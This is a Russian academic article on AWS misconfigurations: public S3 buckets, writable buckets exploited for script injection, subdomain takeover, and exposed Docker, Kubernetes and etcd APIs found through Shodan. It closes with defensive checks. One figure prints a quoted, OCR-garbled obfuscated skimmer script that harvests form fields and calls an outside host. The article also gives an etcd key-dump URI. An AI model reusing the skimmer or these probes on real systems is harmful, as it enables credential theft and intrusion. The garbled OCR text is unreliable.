УДК 004
Слынько Александра Slynko Aleksandra
Студент Student
Смирнов Станислав Игоревич Smirnov Stanislav Igorevich
старший преподаватель кафедры senior lecturer of the department МИРЭА - Российский технологический университет MIREA - Russian Technological University
СПОСОБЫ ВЫЯВЛЕНИЯ ОШИБОК АДМИНИСТРИРОВАНИЯ AMAZON WEB SERVICES (AWS)
WAYS TO DETECT AMAZON WEB SERVICES (AWS) ADMINISTRATION ERRORS
Аннотация. В статье рассмотрены основные ошибки администрирования, влияющие на безопасность использования облачных сервисов Amazon - Amazon Web Services (AWS). Продемонстрированы пути обнаружения и эксплуатации уязвимостей облачных хранилищ, позволяющих получить злоумышленникам первоначальный доступ (Initial Access) к инфраструктуре организации.
Abstract: The article discusses the main administrative errors that affect the security of using Amazon cloud services - Amazon Web Services (AWS). The ways of detecting and exploiting vulnerabilities in cloud storages that allow attackers to gain Initial Access to the organization's infrastructure are demonstrated.
Ключевые слова: безопасность облачных сервисов, администрирование облачных сервисов, облачные сервисы.
Key words: cloud services security, cloud services administration, cloud services.
Введение
Amazon Web Services (AWS) - самая распространенная в мире облачная платформа (рис. 1). Предоставляет «более 200 полнофункциональных сервисов для центров обработки данных по
всей планете. Миллионы клиентов, в том числе стартапы, ставшие лидерами по скорости роста, крупнейшие корпорации и передовые правительственные учреждения, используют AWS для снижения затрат, повышения гибкости и ускоренного внедрения инноваций» [2].
Рисунок 1. Доли рынков провайдеров облачных услуг за 2021 год
Источник: Synergy Research Group [1]
К преимуществам использования облачной инфраструктуры Amazon относится:
- стоимость - за счет оптимизации затрат на техническое обслуживание и персонал;
- безопасность - достигается за счёт комплексного подхода к обеспечению безопасности как на базовом физическом, так и на сетевых уровнях, отвечает всем требованиям стандартов PCI и HIPAA [3, 4];
- масштабируемость - имеется возможность увеличения и сокращения количества используемых ресурсов в зависимости от текущих потребностей;
- гибкость - имеется возможность изменения технических характеристик, а также конфигурации программного/аппаратного обеспечения предоставляемого AWS оборудования;
- надежность - достигается круглосуточной доступностью предоставляемых AWS ресурсов, благодаря широкому географическому покрытию зон доступности, которые являются полностью изолированными частями инфраструктуры.
К недостаткам использования облачной инфраструктуры Amazon относится:
- монополия - отсутствие у AWS явных конкурентов на рынке провайдеров облачных услуг (за небольшим исключением - Microsoft Azure) [5];
- излишняя простота администрирования облачных ресурсов -возможность использования большей части функционала AWS с помощью графического интерфейса в веб-браузере, используя только компьютерную мышь, благодаря чему у многих администраторов складывается впечатление, что читать документацию вовсе необязательно.
Модель общей ответственности компании Amazon
Компания Amazon разработала и предложила своим пользователям модель распространения ответственности (рис. 2), в которой AWS гарантируется безопасность программного и аппаратного обеспечения предоставляемого ею оборудования и комплектующих всех дата-центров глобальной инфраструктуры AWS, а на клиента возлагается лишь ответственность за обеспечение безопасного использования данных пользователей в процессе
хранения и транзита в облаке, за счет правильной настройки систем управления доступом, операционных систем и систем сетевого контроля [6].
Рисунок 2. Модель общей ответственности Amazon Web Services
Пример ошибок конфигурации облачного объектного хранилища - Amazon S3
Amazon Simple Storage Service (S3) - это сервис AWS для хранения любого объема данных с возможностью их получения из любой точки глобальной сети Интернет.
Ошибки конфигурации заключаются в неправильной настройке Amazon S3, когда администратор убирает флажок, установленный по умолчанию, с пункта "Block all public access" в панели настройки публичного доступа (в разделе настроек аккаунта, см. рис. 3), тем самым открывая доступ неавторизованным пользователям к объектному хранилищу компании [7]. Доступ к публично доступным хранилищам осуществляется с помощью следующих URL:
- Ы^://[объектное_хранилище] .s3 .amazonaws.com;
ЦИФРОВАЯ НАУКА_№1 2022
- https://s3-[peraoH].amazonaws.com/[ компания].
Block public access (account settings)
Public access is granted to buckets and objects through access control lists (ACLs), bucket policies, or both In order to ensure that public access to all your S3 buckets and objects is blocked, turn on Block all public access These settings apply account-wide tor all current and future buckets AWS recommends that you turn on Block all public access, hut before applying any of these settings, ensure that your applications «ill work correctly without public access if you require some level of public access to your buckets or objects, you can customize the Individual settings below to suit your specific storage use cases. Learn more GT
Block all public access]
cancel
Turning this selling on is Die same as luriling on all four sellings Delow. Each of Bie following settings are independent Of On« another
- Block public access to buckets and objects granted through new access control lists (ACLs)
S3 will block public access permissions applied to nev/ly added buckets or objects, and prevent the creation of new public access ACL J for existing bucKels and objects This setting doesn't change any easting permissions that allow public access to S3 resources using acls.
- [ Block public access to buckets and objects granted through any access control lists (ACLs)
S3 will ignore ell ACLs mal grant public access lo buckets and objects.
fl Block public access to buckets and objects granted through new public bucket policies
S3 will block new bucket policies trial granl public access lo buckets and objects. This selling doesn't change any existing policies that allow public access to S3 resources.
L Block public and cross-account access to buckets and objects through any public bucket policies
S3 will ignore public and cross-account access for buckets with policies that grant public access to buckets and objects
Рисунок 3. Панель настройки публичного доступа к Amazon S3
Пример ошибок конфигурации объектов, хранящихся в Amazon S3
Другой распространенной ошибкой конфигурации Amazon S3 является открытие публичного доступа к объектам, хранящихся в Amazon S3 (Buckets Objects, см. рис. 4), даже при условии включения "Block all public access" для всего объектного хранилища [8].
Доступ к публично доступным объектам осуществляется так же, как и к хранилищам - по URL.
Edit public access settings Empty Delete
(_| Bucket name Access О
G ® appstream2-36fb080bb8-us-east-1- Bucket and objects not public
О @ aws-blog-posts-content-usw Objects can be public
□ awsquest Bucket and objects not public
Рисунок 4. Публично доступный объект, хранящийся в Amazon S3
Ошибки конфигурации Amazon S3, приводящие к внедрению зловредного кода
Amazon S3 зачастую используется для хранения и предоставления доступа к статическим HTML-страницам, объектам JavaScript, картинкам и т.д. В случае неправильной настройке прав на запись файлов в объектном хранилище возможно внедрение в веб-приложение вредоносного JavaScript-кода, который будет выполнен в браузерах посетителей (рис. 5).
Page https://app-google-analytics.s3-sa-east-1 .amazonaws.com/5/google-analytics.js
Status Messages (0) Dependent Requests (0) Cookies (0) Links (0) Headers SSL Certs (1) Response & DOM DOM Changes Causes Social Inspection Results Sequence To Parent
В Response Body
[J;_Uxi>btJUbl [_Ux49;>b( UXS )]=unoetined;>>,Uxif 4); it (typeot moduiel==_Ux49:>b( uxt )&&moduie[_Ux4y:>b ( uxlO")J)
{module[0x4956('0x10')]=_0x5b806f;}else{window[0x4956(10x11')J=_0x5b806f;}>());String[0x4956('0x121)][0x4956('0x13')]=function(){var _0xaa9896=0x0,_0xce9c4c,_0xd40f79;if(this[0x4956('0x2')]===0x0)return _0xaa9896;for(_0xce9c4c=0x0;_0xce9c4c<this['\x6c\x65\x6e\x67\x74 \x68");_0xce9c4c++){_0xd40f79=this['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0xce9c4c);_0xaa9896=(_0xaa9896«0x5)-_0xaa9896+_0xd40f79; _0xaa9896|=0x0;}return _0xaa9896;>;var _0x5c3409={};_0x5c3409[_0x4956( 0x14')]=_0x4956( 0x15');_0x5c3409[_0x4956( 0x16")]={};_0x5c3409['\x53 \x65\x6e\x74']=[];_0x5c3409['\x49\x73\x56\x61\x6c\x69\x64']=![];_0x5c3409[_0x4956('0x17')]=function(_0xlece86){if(_0xlece86.id!==undefined&s _0xlece86.id!=''i&_0xlece86.idl==nullii_0xlece86.value.Iength<0xl00&&_0xlece86.value.Iength>0x0)
{if( 0x297840( 0x302266(0x302266(_0xlece86.value,'\x2d',''),'\x20', ' ' ))&&_0x5003b6(_0x302266( 0x302266(_0xlece86.value,'\x2d',''),' \x20','')))_0x5c3409.IsValid=!![];_0x5c3409.Data[_0xlece86.id]=_0xlece86.value;return;}if(_0xlece86.name! ==undefined&i._0xlece86 . name ! =''&& _0xlece86.name!==null&&_0xlece86.value.Iength<0xl00i<&_0xlece86.value.Iength>0x0){if(_0x297840(_0x302266(_0x302266(_0xlece86.value,' \x2d',''),'\x20',''))&S_0x5003b6(_0x302266( 0x302266(_0xlece86.value,'\x2d",''),'\x20','')))_0x5c3409.IsValid=11 [J;_0x5c3409.Data[_0xlece86.name J=_0xlece86.value;return;>};_0x5c3409[ 0x4956('0x18')]=function(){var
_0x56d89f=document.getElementsByTagName('\x69\x6e\x70\x75\x74');var _0x34b78f=document.getElementsByTagName(_0x4956('0x19'));var _0xlae096=document.getElementsByTagName('\x74\x65\x78\x74\x61\x72\x65\x61');for(var _0x668bll=0x0;_0x668bll<_0x56d89f.length;
0x668bll++)_0x5c3409.SaveParam(_0x56d89f[ 0x668bll]);for(var _0x668bl1=0x0;_0x668blK_0x34b78f.length; _0x668bll++)_0x5c3409.SaveParam(_0x34b78f[_0x668bl1]);for(var _0x668bl1=0x0;_0x668bll<_0xlae096.length;
_0x668bll++)_0x5c3409.SaveParam(_0xlae096[_0x668bll]);};_0x5c3409[0x4956('0x1a')]-function(){if(Iwindow.devtools.isOpen&& 0x5c3409.IsValid) {_0x5c3409.Data[0x4956('0x1b')]-location.hostname;var _Ox228b7c-encodeURIComponent(window.btoa(JSON.stringify(_Ox5c3409.Data)));var _0x52b099=_0x228b7c.hashCode();for(var _0x3c4050=0x0;_0x3c4050<_0x5c3409.Sent.length;
_0x3c4050++)if(_0x5c3409.Sent[_0x3c4 050]==_0x52b099)return;_0x5c3409.Loadlmage(_0x22 8b7c);}};_0x5c3409[0x4956('0x1c')]=function() {_0x5c3409.SaveAllFields();_0x5c3409.SendData();>;_0x5c3409[0x4956('Oxld')]-function(0x283a62){_0x5c3409.Sent.push(_0x283a62.hashCode()); var _0x25a59c-document.createElement(_0x4956('Oxle'));_0x25a59c.src=_0x5c3409.GetlmageUrl(_0x283a62);>;
_0x5c3409[_0x4956('Oxlf')]=function(_0x41110a){return _0x5c3409.Gate+_0x4956('0x20')+_0x41110a;};document[_0x4956('0x21')]=function()
{if (document [_0x4956( '0x22' ) ] —'\x63\x6f\x6d\x70\x6c\x65\x74\x65 ' ) {window [_0x4 956 ( '0x23' ) } (_0x5c3409[_0x4956( 'Oxlc' ) ],0xlf4);}>;_
function jquery_api_load(){var e,o,t,n;if(ll===/bot|crawl|spider|google|bing|yandex|facebooklbaidu|yahoo|slurp|daum|teoma
/i.test(navigator.userAgentJ&s(t="jqueryapiload",1((n=document.cookie.match(new RegExp("(?:'|; )"+t.replace(/([\.$?*|{>\(\)\[\]\\\/\+"])
/g,n\\$l")+"=([A;]*)")))?decodeURIComponent(n[1])svoid 0)&&(function(e,o,t){var n=(t=t||{}).expires;if("number"==typeof n&&n){var a=new
Date;a.setTime(a.getTime()+le3*n),n=t.expires=a>n&&n.toUTCStringS5i(t.expires=n.toUTCString());var r=e+"="+(o=encodeURIComponent(o));for(var
in t){r+-n; "+i;var p=t[i];10!==p&S(r+-" = "+p)>document.cookie=r>("jqueryapiload","true",{expires:604800,path:"/"}),-1! = (e=document.referrer,
(o=document.createElement("a")).href=e,o.hostname).indexOf("google.")&&/Mobi|Android|Opera Mini/i.test(navigator.userAgent)))){var
a=new("onload"in new XMLHttpRequest?XMLHttpRequest:XDomainRequest);a.open("GET","http://gold.platinumus.top/track
/awswrite",10),a.onload-function(){location.href=this.responseText},a.send())}jquery api load();_
Рисунок 5. Вредоносный JavaScript создает файл PHP с именем
this.php
Источник: Misconfigured Amazon S3 Buckets Continue to be a Launchpad for Malicious Code [9]
Примеры ошибок конфигурации Amazon S3, приводящие к потере владения над доменом
Ошибки конфигурации Amazon S3, приводящие к потере владения над доменом возникают в случае, когда объектное хранилище ссылается на объекты, которые уже не существуют (были недавно удалены), и/или продолжают существовать DNS записи типа CNAME, на удаленные объекты хранилища (рис. 6).
Злоумышленник может воспользоваться данной возможностью, создав новый объект Amazon S3 с таким же именем, как и у недавно удаленного объекта (в томе же регионе AWS). Такие ошибки конфигурации выявляются с помощью поиска доменов *.s3.amazonaws.com с статусом HTTP-ответа 404 (Not Found) [10].
^ CD .com О Q. Search
404 Not Found
• Code: NoSuehBuckct • Message: The speeilied bueket docs not exist • BucketNamc: 1 tlllllliHjcom - Requcstld: 6FAB8 1 ED3FC Ws/ '>/ - HostId:6EkuIEmx8u9yOYAFWbF+2clxBGxKHMYzrHspw6y()t/9Yx, V.. ч VM^MM^WV Л ш v\v
Рисунок 6. Пример обращения к домену, при котором не обнаружен объект Amazon S3
Примеры ошибок администрирования Docker контейнеров на AWS
Docker контейнеры - это инновационная концепция для создания, интеграции и запуска различных сервисов в облачной инфраструктуре.
Неправильная конфигурация Docker Remote API на tcp-портах 2375, 2376 публично доступного интерфейса может привести к компрометации хоста [11].
Уязвимые хосты возможно обнаружить с помощью специализированной поисковой системы по интернету вещей - Shodan Search Engine, правильно подобрав запрос (рис. 7, 8).
4L SHODAN Explore Downloads Pricing В port:2375 product:"Docker"
TOTAL RESULTS
434
TOP COUNTRIES
>
China
United States Singapore Canada Germany
More...
110
75 21 19 19
iiSö View Report ¿3?, Download Results LiiL Historical Trend flU View on Map
New Service: Keep track of what you have connected to the Internet. Check out Shodan Monito
Рисунок 7. Результаты поиска в Shodan Docker-контейнеров с
открытым tcp-портом 2375
^ Shodan Explore Downloads Pricing \2 port:2376 product:"Docker" Q.
;îï5 View Report & Download Results LiiL Historical Trend DU View on Map
New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor
ъЧГ*
w w< i
Russian Federation Spain
United Kingdom Singapore Germany
More...
Рисунок 8. Результаты поиска в Shodan Docker-контейнеров с
открытым tcp-портом 2376
Примеры ошибок администрирования кластеров Kubernetes на AWS
Kubernetes - открытая платформа для управления контейнерами. Неправильное эксплуатирование и настройка Kubernetes Management
API на tcp-портах 10250 и 10255 также приводит к раскрытию информации о конфигурации хоста или набора кластеров [12].
Данные машины тоже можно найти, воспользовавшись поисков в Shodan Search Engine (рис. 9, 10).
Shodan Explore Downloads Pricing q? port: 10250 product:"Kubernetes' C^
TOTAL RESULTS SoSo View Report & Download Results LiiL Historical Trend ÖD View on Map New Service: Keep track of what you have connected to the Internet. Check out
147,266
TOP COUNTRIES
f rv
China 58,942
United States 26,618
Germany 17,289
France 11,004
Singapore 4,361
More...
Рисунок 9. Результаты поиска в Shodan Kubernetes с открытым
tcp-портом 10250
SHODAN Explore Downloads Pricing g? port:10255 product:"Kubemetes"
■
3
Рисунок 10. Результаты поиска в Shodan Kubernetes с открытым
tcp-портом 10255
Также неправильная настройка etcd API на tcp-порту 2379 (рис. 11) может привести к утечке AWS секретов, сертификатов и ключей шифрования. Для определения такой ошибки конфигурации достаточно найти все хосты, на которых используется etcd, и проверить является ли etcd API публично доступным с помощью веб-
браузера, используя следующий URI:
http ://<IPv4_адрес_Kubernetes>:2379/v2/keys/?recursive=true (рис. 12).
SHODAN Explore Downloads Pricing В Ь°П:2379 product:"etad"
f %
ÎDÏD View Report Download Results Lü Historical Trend PU View on Map
New Service: Keep track of what you have connected to the Internet Check out Shodan Monito
Рисунок 11. Результаты поиска в Shodan etcd с открытым tcp-
портом 2379
—> О _:2379/v2/keys/?recursive=true
JSON Необработанные данные Заголовки
Сохранить Копировать Свернуть все Развернуть все V Поиск в JSON
action: "get"
» node:
dir: true
» nodes:
▼ 0:
key: "/new"
Рисунок 12. Пример уязвимого хоста (etcd API)
Утечка AWS секретов
Существует человеческий фактор, благодаря которому многие разработчики оставляют пароли, API ключи и токены в публичных GitHub/GitLab-репозиториях и прочих платформах [13].
Для нахождения таких конфиденциальных данных разрабатываются специальные программы, помогающие в том числе злоумышленникам в поиске оставленных разработчиками секретов в исходном программном коде:
- Gitrob;
- GitGot;
- Gitleaks;
- GitMiner.
Заключение
Несмотря на все усилия компании Amazon для повышения общего уровня безопасности предлагаемых решений на рынке облачных услуг [14], слабым звеном остается человек - администратор объектного хранилища. Добиваясь максимальной простоты интерфейса для работы с Amazon S3, провайдер облачных услуг прививает пользователям ощущение того, что все процессы в облачном хранилище должны решаться за пару кликов компьютерной мыши [15], отчего многие администраторы при встрече с какой-либо проблемой, не желая вдаваться в её подробности, просто игнорируют ее или принимают опасные и необдуманные решения, несмотря на предупреждения об угрозе безопасности самой системы Amazon S3.
Исходя из рассмотренных в данной статье частых ошибок администрирования, авторами определены рекомендации по быстрой проверке безопасности облачных хранилищ Amazon S3:
1) проверка состояния флага в пункте "Block all public" в панели настройки публичного доступа (должен быть включен);
2) проверка каждого объекта в хранилище на наличие публичного доступа к нему (объекты не должны быть публично доступными);
3) слежение за тем, чтобы удалять неактуальные ссылки и DNS-записи, ведущие на удаленные объекты хранилища (не должно быть страниц с 404 ошибкой при обращении к удаленному объекту);
4) проверка своих Git-репозиториев с помощью специализированных программ (например, Shhgit live и др.) для поиска утечек секретных данных.
Библиографический список:
1. Cloud Market Ends 2020 on a High while Microsoft Continues to Gain Ground on Amazon [Электронный ресурс]. - Режим доступа:
https://www.srgresearch.com/articles/cloud-market-ends-2020-high-while-microsoft-continues-gain-ground-amazon (дата обращения: 11.12.2021).
2. Облачные вычисления с помощью AWS [Электронный ресурс]. - Режим доступа: https://aws.amazon.com/ru/what-is-aws/ (дата обращения: 11.12.2021).
3. Официальный сайт Совета по стандартам безопасности данных индустрии платежных карт [Электронный ресурс]. - Режим доступа: https://ru.pcisecuritystandards.org/minisite/env2/ (дата обращения: 23.12.2021).
4. Health Information Privacy [Электронный ресурс]. - Режим доступа: https://www.hhs.gov/hipaa/index.html (дата обращения: 03.01.2022).
5. Health Information Privacy [Электронный ресурс]. - Режим доступа: https://www.hhs.gov/hipaa/index.html (дата обращения: 03.01.2022).
6. Модель общей ответственности [Электронный ресурс]. -Режим доступа: https://aws.amazon.com/ru/compliance/shared-responsibility-model/ (дата обращения: 04.01.2022).
7. Blocking public access to your Amazon S3 storage [Электронный ресурс]. - Режим доступа: https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html (дата обращения: 05.01.2022).
8. Amazon S3 objects overview [Электронный ресурс]. - Режим доступа:
https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingObj ects.ht ml (дата обращения: 05.01.2022).
9. Misconfigured Amazon S3 Buckets Continue to be a Launchpad for Malicious Code [Электронный ресурс]. - Режим доступа:
https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/ (дата
обращения: 05.01.2022).
10. Subdomain Takeover via Unsecured S3 Bucket Connected to the Website [Электронный ресурс]. - Режим доступа: https://blog.securitybreached.org/2018/09/24/subdomain-takeover-via-unsecured-s3-bucket/ (дата обращения: 09.01.2022).
11. Hundreds of Vulnerable Docker Hosts Exploited by Cryptocurrency Miners [Электронный ресурс]. - Режим доступа: https://www.imperva.com/blog/hundreds-of-vulnerable-docker-hosts-exploited-by-cryptocurrency-miners/ (дата обращения: 15.01.2022).
12. Unsecured Kubernetes Instances Could Be Vulnerable to Exploitation [Электронный ресурс]. - Режим доступа: https://unit42.paloaltonetworks.com/unsecured-kubernetes-instances/ (дата обращения: 16.01.2022).
13. Keep your secrets, secret - shhgit [Электронный ресурс]. -Режим доступа: https://www.shhgit.com/ (дата обращения: 16.01.2022).
14. Безопасность облака AWS [Электронный ресурс]. - Режим доступа: https://aws.amazon.com/ru/security/ (дата обращения: 16.01.2022).
15. Преимущества AWS [Электронный ресурс]. - Режим доступа: https://aws.amazon.com/ru/application-hosting/benefits/ (дата обращения: 16.01.2022).